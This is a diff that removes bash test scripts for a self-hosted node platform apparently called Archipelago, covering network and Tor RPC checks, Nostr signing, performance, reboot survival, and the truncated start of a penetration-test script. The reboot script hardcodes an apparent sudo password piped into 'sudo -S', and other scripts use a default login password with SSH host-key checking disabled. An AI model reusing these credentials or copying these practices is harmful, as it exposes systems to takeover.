-d '{\"method\":\"$method\",\"params\":$params}' 2>/dev/null"
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== Network Test Suite ==="
|
||||
echo ""
|
||||
|
||||
log "Authenticating..."
|
||||
local session
|
||||
session=$(get_session)
|
||||
if [ -z "$session" ]; then
|
||||
echo "Failed to authenticate. Exiting."
|
||||
exit 1
|
||||
fi
|
||||
echo ""
|
||||
|
||||
# --- TEST-204: Peer Discovery ---
|
||||
log "=== TEST-204: Node Visibility & Discovery ==="
|
||||
|
||||
# Test get-visibility works
|
||||
log "Testing network.get-visibility..."
|
||||
local vis_result
|
||||
vis_result=$(rpc_call "$session" "network.get-visibility")
|
||||
if echo "$vis_result" | grep -q '"visibility"'; then
|
||||
pass "network.get-visibility returns visibility status"
|
||||
else
|
||||
fail "network.get-visibility failed: $vis_result"
|
||||
fi
|
||||
|
||||
# Test set-visibility
|
||||
log "Testing network.set-visibility (discoverable)..."
|
||||
local set_vis_result
|
||||
set_vis_result=$(rpc_call "$session" "network.set-visibility" '{"visibility":"discoverable"}')
|
||||
if echo "$set_vis_result" | grep -q '"error"'; then
|
||||
fail "network.set-visibility failed"
|
||||
else
|
||||
pass "network.set-visibility works"
|
||||
fi
|
||||
|
||||
# Test list-requests
|
||||
log "Testing network.list-requests..."
|
||||
local req_result
|
||||
req_result=$(rpc_call "$session" "network.list-requests")
|
||||
if echo "$req_result" | grep -q '"requests"'; then
|
||||
pass "network.list-requests returns request list"
|
||||
else
|
||||
fail "network.list-requests failed"
|
||||
fi
|
||||
|
||||
# Revert visibility
|
||||
rpc_call "$session" "network.set-visibility" '{"visibility":"hidden"}' > /dev/null 2>&1
|
||||
|
||||
echo ""
|
||||
|
||||
# --- TEST-205: Content Sharing ---
|
||||
log "=== TEST-205: Content Sharing ==="
|
||||
|
||||
# Test content.list-mine
|
||||
log "Testing content.list-mine..."
|
||||
local content_result
|
||||
content_result=$(rpc_call "$session" "content.list-mine")
|
||||
if echo "$content_result" | grep -q '"items"'; then
|
||||
pass "content.list-mine returns item list"
|
||||
else
|
||||
fail "content.list-mine failed"
|
||||
fi
|
||||
|
||||
# Test content.add
|
||||
log "Testing content.add..."
|
||||
local add_result
|
||||
add_result=$(rpc_call "$session" "content.add" '{"filename":"test-file.txt","mime_type":"text/plain","description":"Test content","access":"free"}')
|
||||
if echo "$add_result" | grep -q '"error"'; then
|
||||
local msg
|
||||
msg=$(echo "$add_result" | grep -o '"message":"[^"]*"' | head -1)
|
||||
skip "content.add — $msg"
|
||||
else
|
||||
pass "content.add works"
|
||||
# Clean up
|
||||
local item_id
|
||||
item_id=$(echo "$add_result" | grep -o '"id":"[^"]*"' | head -1 | sed 's/"id":"//;s/"//')
|
||||
if [ -n "$item_id" ]; then
|
||||
rpc_call "$session" "content.remove" "{\"id\":\"$item_id\"}" > /dev/null 2>&1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
# --- TEST-206: Tor Hidden Services ---
|
||||
log "=== TEST-206: Tor Hidden Services ==="
|
||||
|
||||
# Test tor.list-services
|
||||
log "Testing tor.list-services..."
|
||||
local tor_result
|
||||
tor_result=$(rpc_call "$session" "tor.list-services")
|
||||
if echo "$tor_result" | grep -q '"services"'; then
|
||||
pass "tor.list-services returns service list"
|
||||
local svc_count
|
||||
svc_count=$(echo "$tor_result" | grep -o '"name"' | wc -l)
|
||||
log " Found $svc_count hidden services"
|
||||
else
|
||||
fail "tor.list-services failed"
|
||||
fi
|
||||
|
||||
# Test tor.get-onion-address
|
||||
log "Testing tor.get-onion-address for backend..."
|
||||
local onion_result
|
||||
onion_result=$(rpc_call "$session" "tor.get-onion-address" '{"service":"backend"}')
|
||||
if echo "$onion_result" | grep -q "onion"; then
|
||||
pass "tor.get-onion-address returns .onion address"
|
||||
else
|
||||
skip "tor.get-onion-address — no backend service configured"
|
||||
fi
|
||||
|
||||
# Check Tor container is running
|
||||
log "Checking Tor container status..."
|
||||
local tor_running
|
||||
tor_running=$($SSH_CMD "podman ps --format '{{.Names}}' | grep -c 'archy-tor' || echo 0")
|
||||
if [ "$tor_running" -gt 0 ]; then
|
||||
pass "Tor container is running"
|
||||
else
|
||||
fail "Tor container is not running"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL | Skip: $SKIP"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,124 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-nip07.sh — Validate NIP-07 Nostr signing infrastructure
|
||||
#
|
||||
# Tests server-side components of NIP-07 signing.
|
||||
# Browser-based tests (window.nostr in DevTools) must be done manually.
|
||||
#
|
||||
# Usage: ./scripts/test-nip07.sh [target-ip]
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
SSH="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=10 archipelago@$TARGET"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
|
||||
check() {
|
||||
local name="$1"
|
||||
local ok="$2"
|
||||
if [ "$ok" = "true" ]; then
|
||||
echo " ✅ $name"
|
||||
((PASS++))
|
||||
else
|
||||
echo " ❌ $name"
|
||||
((FAIL++))
|
||||
fi
|
||||
}
|
||||
|
||||
# Extract JSON field using python3 (runs locally)
|
||||
json_get() {
|
||||
python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); print(r.get('$1','') if isinstance(r,dict) else '')" 2>/dev/null
|
||||
}
|
||||
|
||||
echo "🔑 NIP-07 Nostr Signing Test — $TARGET"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
|
||||
# Login and get CSRF token
|
||||
echo ""
|
||||
echo "Authenticating..."
|
||||
$SSH "curl -s -c /tmp/cookiejar http://localhost:5678/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'" >/dev/null 2>&1
|
||||
CSRF=$($SSH "grep csrf_token /tmp/cookiejar 2>/dev/null | awk '{print \$NF}'" 2>/dev/null)
|
||||
echo " CSRF: ${CSRF:0:16}..."
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-}"
|
||||
local body
|
||||
if [ -n "$params" ]; then
|
||||
body="{\"method\":\"$method\",\"params\":$params}"
|
||||
else
|
||||
body="{\"method\":\"$method\"}"
|
||||
fi
|
||||
$SSH "curl -s -b /tmp/cookiejar -H 'Content-Type: application/json' -H 'X-CSRF-Token: $CSRF' http://localhost:5678/rpc/v1 -d '$body'" 2>/dev/null
|
||||
}
|
||||
|
||||
# 1. nostr-provider.js exists on server
|
||||
echo ""
|
||||
echo "1. nostr-provider.js served by nginx"
|
||||
JS_EXISTS=$($SSH "curl -s -o /dev/null -w '%{http_code}' http://localhost/nostr-provider.js" 2>/dev/null)
|
||||
check "nostr-provider.js returns 200" "$([ "$JS_EXISTS" = "200" ] && echo true || echo false)"
|
||||
|
||||
# 2. nostr-provider.js injected into iframe app
|
||||
echo ""
|
||||
echo "2. Script injection via sub_filter"
|
||||
INJECT_COUNT=$($SSH "curl -s http://localhost/app/mempool/ 2>/dev/null | grep -c 'nostr-provider.js'" 2>/dev/null)
|
||||
check "Injected into /app/mempool/" "$([ "$INJECT_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# 3. node.nostr-pubkey returns valid pubkey
|
||||
echo ""
|
||||
echo "3. Node Nostr pubkey"
|
||||
PUBKEY_RESP=$(rpc "node.nostr-pubkey")
|
||||
NODE_PK=$(echo "$PUBKEY_RESP" | json_get "nostr_pubkey")
|
||||
check "node.nostr-pubkey returns hex pubkey (${#NODE_PK} chars)" "$([ ${#NODE_PK} -eq 64 ] && echo true || echo false)"
|
||||
|
||||
NODE_NPUB=$(echo "$PUBKEY_RESP" | json_get "nostr_npub")
|
||||
check "npub format valid" "$(echo "$NODE_NPUB" | grep -q '^npub1' && echo true || echo false)"
|
||||
|
||||
# 4. node.nostr-sign returns signed event with matching pubkey
|
||||
echo ""
|
||||
echo "4. Event signing"
|
||||
CREATED_AT=$(date +%s)
|
||||
SIGN_RESP=$(rpc "node.nostr-sign" "{\"event\":{\"kind\":1,\"content\":\"NIP-07 automated test\",\"created_at\":$CREATED_AT,\"tags\":[]}}")
|
||||
SIGN_PK=$(echo "$SIGN_RESP" | json_get "pubkey")
|
||||
SIGN_SIG=$(echo "$SIGN_RESP" | json_get "sig")
|
||||
SIGN_ID=$(echo "$SIGN_RESP" | json_get "id")
|
||||
|
||||
check "Signed event has pubkey (${#SIGN_PK} chars)" "$([ ${#SIGN_PK} -eq 64 ] && echo true || echo false)"
|
||||
check "Signed event has signature (${#SIGN_SIG} chars)" "$([ ${#SIGN_SIG} -gt 60 ] && echo true || echo false)"
|
||||
check "Signed event has id hash (${#SIGN_ID} chars)" "$([ ${#SIGN_ID} -eq 64 ] && echo true || echo false)"
|
||||
check "Signing pubkey matches node pubkey" "$([ "$SIGN_PK" = "$NODE_PK" ] && echo true || echo false)"
|
||||
|
||||
# 5. Signed event content matches input
|
||||
echo ""
|
||||
echo "5. Event content integrity"
|
||||
SIGN_CONTENT=$(echo "$SIGN_RESP" | json_get "content")
|
||||
SIGN_KIND=$(echo "$SIGN_RESP" | json_get "kind")
|
||||
check "Content preserved" "$([ "$SIGN_CONTENT" = "NIP-07 automated test" ] && echo true || echo false)"
|
||||
check "Kind preserved" "$([ "$SIGN_KIND" = "1" ] && echo true || echo false)"
|
||||
|
||||
# 6. NIP-04/NIP-44 encrypt/decrypt endpoints exist
|
||||
echo ""
|
||||
echo "6. NIP-04 encrypt/decrypt"
|
||||
ENC_RESP=$(rpc "identity.nostr-encrypt-nip04" "{\"pubkey\":\"$NODE_PK\",\"plaintext\":\"hello\"}")
|
||||
ENC_ERR=$(echo "$ENC_RESP" | python3 -c "import sys,json; d=json.load(sys.stdin); e=d.get('error'); print(e.get('message','') if e else 'none')" 2>/dev/null)
|
||||
check "NIP-04 encrypt endpoint exists" "$(echo "$ENC_ERR" | grep -qv 'Unknown method' && echo true || echo false)"
|
||||
|
||||
echo ""
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "Results: $PASS passed, $FAIL failed"
|
||||
echo ""
|
||||
|
||||
echo "📝 Manual browser test steps:"
|
||||
echo " 1. Open http://$TARGET/dashboard/apps"
|
||||
echo " 2. Launch an iframe app (e.g., Mempool)"
|
||||
echo " 3. Open DevTools console (F12)"
|
||||
echo " 4. Run: window.nostr"
|
||||
echo " → Should return object with getPublicKey, signEvent"
|
||||
echo " 5. Run: await window.nostr.getPublicKey()"
|
||||
echo " → Should return: $NODE_PK"
|
||||
echo " 6. Run: await window.nostr.signEvent({kind:1,content:'test',created_at:Math.floor(Date.now()/1000),tags:[]})"
|
||||
echo " → Consent modal should appear in parent frame"
|
||||
echo " → After approval, should return signed event with sig field"
|
||||
|
||||
[ $FAIL -eq 0 ] && exit 0 || exit 1
|
||||
@@ -1,167 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-208/209: Performance and load tests.
|
||||
# Checks system responsiveness, resource usage, and mobile performance metrics.
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
PASSWORD="password123"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
WARN=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
warn() { echo -e "\033[1;33m[WARN]\033[0m $*"; WARN=$((WARN + 1)); RESULTS+=("WARN: $*"); }
|
||||
|
||||
main() {
|
||||
log "=== Performance Test Suite ==="
|
||||
echo ""
|
||||
|
||||
# --- TEST-208: System Load ---
|
||||
log "=== TEST-208: System Load ==="
|
||||
|
||||
# 1. Check UI load time
|
||||
log "1. Measuring UI load time..."
|
||||
local ui_time
|
||||
ui_time=$($SSH_CMD "curl -s -o /dev/null -w '%{time_total}' http://localhost/ 2>/dev/null" || echo "999")
|
||||
ui_time_ms=$(echo "$ui_time * 1000" | bc 2>/dev/null || echo "999")
|
||||
log " UI load time: ${ui_time}s"
|
||||
if (( $(echo "$ui_time < 3" | bc -l 2>/dev/null || echo 0) )); then
|
||||
pass "UI loads in ${ui_time}s (< 3s threshold)"
|
||||
else
|
||||
fail "UI load time ${ui_time}s exceeds 3s threshold"
|
||||
fi
|
||||
|
||||
# 2. Check RPC response time
|
||||
log "2. Measuring RPC response time..."
|
||||
local rpc_time
|
||||
rpc_time=$($SSH_CMD "curl -s -o /dev/null -w '%{time_total}' http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"health\"}' 2>/dev/null" || echo "999")
|
||||
log " RPC response time: ${rpc_time}s"
|
||||
if (( $(echo "$rpc_time < 1" | bc -l 2>/dev/null || echo 0) )); then
|
||||
pass "RPC responds in ${rpc_time}s (< 1s)"
|
||||
else
|
||||
fail "RPC response time ${rpc_time}s exceeds 1s"
|
||||
fi
|
||||
|
||||
# 3. Check memory usage
|
||||
log "3. Checking system memory..."
|
||||
local mem_info
|
||||
mem_info=$($SSH_CMD "free -m | awk '/Mem:/{print \$2,\$3,\$4}'")
|
||||
local total_mb used_mb avail_mb
|
||||
total_mb=$(echo "$mem_info" | awk '{print $1}')
|
||||
used_mb=$(echo "$mem_info" | awk '{print $2}')
|
||||
avail_mb=$(echo "$mem_info" | awk '{print $3}')
|
||||
local pct_used=$((used_mb * 100 / total_mb))
|
||||
log " Memory: ${used_mb}MB / ${total_mb}MB (${pct_used}% used, ${avail_mb}MB free)"
|
||||
if [ "$pct_used" -lt 90 ]; then
|
||||
pass "Memory usage ${pct_used}% (< 90%)"
|
||||
else
|
||||
warn "Memory usage ${pct_used}% — high (>= 90%)"
|
||||
fi
|
||||
|
||||
# 4. Check disk usage
|
||||
log "4. Checking disk usage..."
|
||||
local disk_pct
|
||||
disk_pct=$($SSH_CMD "df / | awk 'NR==2{print \$5}' | tr -d '%'")
|
||||
log " Disk: ${disk_pct}% used"
|
||||
if [ "$disk_pct" -lt 95 ]; then
|
||||
pass "Disk usage ${disk_pct}% (< 95%)"
|
||||
else
|
||||
warn "Disk usage ${disk_pct}% — critical (>= 95%)"
|
||||
fi
|
||||
|
||||
# 5. Check running containers
|
||||
log "5. Counting running containers..."
|
||||
local container_count
|
||||
container_count=$($SSH_CMD "podman ps -q 2>/dev/null | wc -l")
|
||||
log " Running containers: $container_count"
|
||||
pass "$container_count containers running"
|
||||
|
||||
# 6. Check for OOM kills
|
||||
log "6. Checking for OOM kills..."
|
||||
local oom_count
|
||||
oom_count=$($SSH_CMD "dmesg 2>/dev/null | grep -c 'Out of memory' || echo 0")
|
||||
if [ "$oom_count" -eq 0 ]; then
|
||||
pass "No OOM kills detected"
|
||||
else
|
||||
fail "$oom_count OOM kills detected"
|
||||
fi
|
||||
|
||||
# 7. Check WebSocket connectivity
|
||||
log "7. Testing WebSocket endpoint..."
|
||||
local ws_status
|
||||
ws_status=$($SSH_CMD "curl -s -o /dev/null -w '%{http_code}' -H 'Upgrade: websocket' -H 'Connection: Upgrade' http://localhost:5678/ws 2>/dev/null" || echo "000")
|
||||
if [ "$ws_status" = "101" ] || [ "$ws_status" = "200" ] || [ "$ws_status" = "426" ]; then
|
||||
pass "WebSocket endpoint responds (HTTP $ws_status)"
|
||||
else
|
||||
warn "WebSocket endpoint returned HTTP $ws_status"
|
||||
fi
|
||||
|
||||
# 8. Check backend service health
|
||||
log "8. Checking archipelago service..."
|
||||
local svc_status
|
||||
svc_status=$($SSH_CMD "systemctl is-active archipelago 2>/dev/null" || echo "inactive")
|
||||
if [ "$svc_status" = "active" ]; then
|
||||
pass "archipelago service is active"
|
||||
else
|
||||
fail "archipelago service is $svc_status"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
# --- TEST-209: Asset Size Check (proxy for mobile perf) ---
|
||||
log "=== TEST-209: Frontend Asset Sizes ==="
|
||||
|
||||
# Check total JS bundle size
|
||||
log "9. Checking JS bundle sizes..."
|
||||
local js_size
|
||||
js_size=$($SSH_CMD "du -sb /opt/archipelago/web-ui/assets/*.js 2>/dev/null | awk '{sum+=\$1}END{print sum}'" || echo "0")
|
||||
local js_size_kb=$((js_size / 1024))
|
||||
log " Total JS: ${js_size_kb}KB"
|
||||
if [ "$js_size_kb" -lt 2048 ]; then
|
||||
pass "JS bundle ${js_size_kb}KB (< 2MB)"
|
||||
else
|
||||
warn "JS bundle ${js_size_kb}KB — consider code splitting"
|
||||
fi
|
||||
|
||||
# Check total CSS size
|
||||
local css_size
|
||||
css_size=$($SSH_CMD "du -sb /opt/archipelago/web-ui/assets/*.css 2>/dev/null | awk '{sum+=\$1}END{print sum}'" || echo "0")
|
||||
local css_size_kb=$((css_size / 1024))
|
||||
log " Total CSS: ${css_size_kb}KB"
|
||||
if [ "$css_size_kb" -lt 512 ]; then
|
||||
pass "CSS bundle ${css_size_kb}KB (< 512KB)"
|
||||
else
|
||||
warn "CSS bundle ${css_size_kb}KB — consider purging"
|
||||
fi
|
||||
|
||||
# Check gzip is enabled
|
||||
log "10. Checking gzip compression..."
|
||||
local gzip_check
|
||||
gzip_check=$($SSH_CMD "curl -sI -H 'Accept-Encoding: gzip' http://localhost/ 2>/dev/null | grep -i content-encoding || echo ''")
|
||||
if echo "$gzip_check" | grep -qi "gzip"; then
|
||||
pass "gzip compression enabled"
|
||||
else
|
||||
warn "gzip compression not detected in response headers"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL | Warn: $WARN"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,216 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-reboot-survival.sh — Verify all containers survive a reboot
|
||||
# Usage: ./scripts/test-reboot-survival.sh [--node IP] [--iterations N] [--rest-between SECS]
|
||||
#
|
||||
# Records container state, reboots the node, waits for recovery,
|
||||
# and verifies all containers come back running with zero manual intervention.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# ── Config ──────────────────────────────────────────────────────────────────
|
||||
NODE="${NODE:-192.168.1.228}"
|
||||
SSH_KEY="${HOME}/.ssh/archipelago-deploy"
|
||||
SSH_OPTS="-i ${SSH_KEY} -o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
SUDO_PASS="EwPDR8q45l0Upx@"
|
||||
ITERATIONS=3
|
||||
REST_BETWEEN=300 # 5 minutes between reboots
|
||||
MAX_SSH_WAIT=180 # 3 minutes max for SSH to come back
|
||||
MAX_HEALTH_WAIT=120 # 2 minutes max for health
|
||||
MAX_CONTAINER_WAIT=120 # 2 minutes for containers to stabilize
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
TEST_NUM=0
|
||||
|
||||
# ── Parse args ──────────────────────────────────────────────────────────────
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--node) NODE="$2"; shift 2 ;;
|
||||
--iterations) ITERATIONS="$2"; shift 2 ;;
|
||||
--rest-between) REST_BETWEEN="$2"; shift 2 ;;
|
||||
*) echo "Unknown arg: $1"; exit 1 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# ── Helpers ─────────────────────────────────────────────────────────────────
|
||||
ssh_cmd() {
|
||||
ssh ${SSH_OPTS} "archipelago@${NODE}" "$@" 2>/dev/null
|
||||
}
|
||||
|
||||
ssh_sudo() {
|
||||
ssh ${SSH_OPTS} "archipelago@${NODE}" "echo '${SUDO_PASS}' | sudo -S $*" 2>/dev/null
|
||||
}
|
||||
|
||||
tap_ok() {
|
||||
TEST_NUM=$((TEST_NUM + 1))
|
||||
PASS=$((PASS + 1))
|
||||
echo "ok ${TEST_NUM} - $1"
|
||||
}
|
||||
|
||||
tap_fail() {
|
||||
TEST_NUM=$((TEST_NUM + 1))
|
||||
FAIL=$((FAIL + 1))
|
||||
echo "not ok ${TEST_NUM} - $1"
|
||||
echo "# $2"
|
||||
}
|
||||
|
||||
echo "TAP version 13"
|
||||
echo "# Reboot Survival Test"
|
||||
echo "# Node: ${NODE}"
|
||||
echo "# Iterations: ${ITERATIONS}"
|
||||
echo "# Rest between reboots: ${REST_BETWEEN}s"
|
||||
echo "# Started: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo ""
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
echo "# Reboot test ${i}/${ITERATIONS}"
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
|
||||
# ── Step 1: Record pre-reboot state ─────────────────────────────────
|
||||
echo "# [$(date +%H:%M:%S)] Recording pre-reboot container state..."
|
||||
pre_containers=$(ssh_sudo "podman ps --format '{{.Names}}' | sort" 2>/dev/null || echo "")
|
||||
pre_count=$(echo "$pre_containers" | grep -c '.' || echo "0")
|
||||
pre_health=$(curl -s --connect-timeout 5 "http://${NODE}:5678/health" 2>/dev/null || echo "FAIL")
|
||||
|
||||
echo "# Pre-reboot: ${pre_count} containers running, health=${pre_health}"
|
||||
|
||||
if [[ "$pre_count" -lt 10 ]]; then
|
||||
tap_fail "reboot-${i}-pre-state" "Only ${pre_count} containers pre-reboot"
|
||||
continue
|
||||
fi
|
||||
|
||||
# ── Step 2: Reboot ──────────────────────────────────────────────────
|
||||
echo "# [$(date +%H:%M:%S)] Rebooting node..."
|
||||
ssh_sudo "reboot" 2>/dev/null || true
|
||||
|
||||
# ── Step 3: Wait for SSH to come back ───────────────────────────────
|
||||
echo "# [$(date +%H:%M:%S)] Waiting for SSH..."
|
||||
sleep 15 # Give it a head start
|
||||
ssh_back=false
|
||||
ssh_time=15
|
||||
for poll in $(seq 1 $((MAX_SSH_WAIT / 5))); do
|
||||
sleep 5
|
||||
ssh_time=$((ssh_time + 5))
|
||||
if ssh ${SSH_OPTS} "archipelago@${NODE}" "echo ok" 2>/dev/null | grep -q ok; then
|
||||
ssh_back=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ "$ssh_back" == "true" ]]; then
|
||||
tap_ok "reboot-${i}-ssh-back # ${ssh_time}s"
|
||||
else
|
||||
tap_fail "reboot-${i}-ssh-back" "SSH not available after ${MAX_SSH_WAIT}s"
|
||||
# Wait longer before next iteration
|
||||
sleep 60
|
||||
continue
|
||||
fi
|
||||
|
||||
# ── Step 4: Wait for backend health ─────────────────────────────────
|
||||
echo "# [$(date +%H:%M:%S)] Waiting for backend health..."
|
||||
health_ok=false
|
||||
health_time=0
|
||||
for poll in $(seq 1 $((MAX_HEALTH_WAIT / 5))); do
|
||||
sleep 5
|
||||
health_time=$((health_time + 5))
|
||||
if curl -s --max-time 5 "http://${NODE}:5678/health" 2>/dev/null | grep -q OK; then
|
||||
health_ok=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ "$health_ok" == "true" ]]; then
|
||||
tap_ok "reboot-${i}-health # ${health_time}s"
|
||||
else
|
||||
tap_fail "reboot-${i}-health" "Backend not healthy after ${MAX_HEALTH_WAIT}s"
|
||||
continue
|
||||
fi
|
||||
|
||||
# ── Step 5: Wait for containers to stabilize ────────────────────────
|
||||
echo "# [$(date +%H:%M:%S)] Waiting ${MAX_CONTAINER_WAIT}s for containers to stabilize..."
|
||||
sleep "$MAX_CONTAINER_WAIT"
|
||||
|
||||
# ── Step 6: Verify containers recovered ─────────────────────────────
|
||||
post_containers=$(ssh_sudo "podman ps --format '{{.Names}}' | sort" 2>/dev/null || echo "")
|
||||
post_count=$(echo "$post_containers" | grep -c '.' || echo "0")
|
||||
exited=$(ssh_sudo "podman ps -a --format '{{.State}}' | grep -ci exited" 2>/dev/null || echo "0")
|
||||
exited=$(echo "$exited" | tail -1 | tr -d '[:space:]')
|
||||
|
||||
echo "# Post-reboot: ${post_count} containers (was ${pre_count}), ${exited} exited"
|
||||
|
||||
# Check: container count recovered (within 2 of pre-reboot)
|
||||
if [[ -n "$post_count" ]] && [[ -n "$pre_count" ]] && [[ "$post_count" -ge $((pre_count - 2)) ]]; then
|
||||
tap_ok "reboot-${i}-container-count # ${post_count}/${pre_count}"
|
||||
else
|
||||
tap_fail "reboot-${i}-container-count" "${post_count}/${pre_count} containers recovered"
|
||||
fi
|
||||
|
||||
# Check: no exited containers
|
||||
if [[ "$exited" == "0" ]]; then
|
||||
tap_ok "reboot-${i}-no-exited"
|
||||
else
|
||||
# Show which containers are exited
|
||||
exited_names=$(ssh_sudo "podman ps -a --filter status=exited --format '{{.Names}}'" 2>/dev/null | tr '\n' ', ')
|
||||
tap_fail "reboot-${i}-no-exited" "${exited} exited: ${exited_names}"
|
||||
fi
|
||||
|
||||
# Check: all pre-reboot containers are back
|
||||
missing=""
|
||||
while IFS= read -r name; do
|
||||
[[ -z "$name" ]] && continue
|
||||
if ! echo "$post_containers" | grep -qx "$name"; then
|
||||
missing="${missing} ${name}"
|
||||
fi
|
||||
done <<< "$pre_containers"
|
||||
|
||||
if [[ -z "$missing" ]]; then
|
||||
tap_ok "reboot-${i}-all-back"
|
||||
else
|
||||
tap_fail "reboot-${i}-all-back" "Missing:${missing}"
|
||||
fi
|
||||
|
||||
# Check: health endpoint still OK
|
||||
final_health=$(curl -s --connect-timeout 5 "http://${NODE}:5678/health" 2>/dev/null || echo "FAIL")
|
||||
if [[ "$final_health" == "OK" ]]; then
|
||||
tap_ok "reboot-${i}-final-health"
|
||||
else
|
||||
tap_fail "reboot-${i}-final-health" "Health: ${final_health}"
|
||||
fi
|
||||
|
||||
# Check: restart count is 0 for containers started since boot
|
||||
restart_issues=$(ssh_sudo "podman ps --format '{{.Names}} {{.Status}}' | grep -c 'Restarting'" 2>/dev/null || echo "0")
|
||||
restart_issues=$(echo "$restart_issues" | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$restart_issues" == "0" ]]; then
|
||||
tap_ok "reboot-${i}-no-restart-loops"
|
||||
else
|
||||
tap_fail "reboot-${i}-no-restart-loops" "${restart_issues} containers in restart loops"
|
||||
fi
|
||||
|
||||
total_time=$((ssh_time + health_time + MAX_CONTAINER_WAIT))
|
||||
echo "# Total recovery time: ${total_time}s"
|
||||
echo ""
|
||||
|
||||
# Rest between reboots
|
||||
if [[ "$i" -lt "$ITERATIONS" ]]; then
|
||||
echo "# Resting ${REST_BETWEEN}s before next reboot..."
|
||||
sleep "$REST_BETWEEN"
|
||||
fi
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# Summary
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
TOTAL=$((PASS + FAIL))
|
||||
echo "1..${TOTAL}"
|
||||
echo ""
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
echo "# Results: ${PASS} passed, ${FAIL} failed, ${TOTAL} total"
|
||||
echo "# Finished: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
|
||||
if [[ "$FAIL" -gt 0 ]]; then
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
@@ -1,249 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -uo pipefail
|
||||
# SEC-201: Security penetration test covering key attack vectors.
|
||||
# Covers: auth bypass, session management, input validation, path traversal,
|
||||
# SSRF, command injection, session fixation, container escape.
|
||||
# Runs all tests directly against the backend HTTP API (no SSH needed for curl).
|
||||
|
||||
HOST="${1:-192.168.1.228}"
|
||||
PASSWORD="${2:-password123}"
|
||||
BACKEND="http://$HOST:5678"
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=10 archipelago@$HOST"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[SEC]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
|
||||
SESSION=""
|
||||
CSRF=""
|
||||
|
||||
# Login and extract session + CSRF token
|
||||
get_auth() {
|
||||
local login_out
|
||||
login_out=$(curl -sv "$BACKEND/rpc/v1" \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1 || true)
|
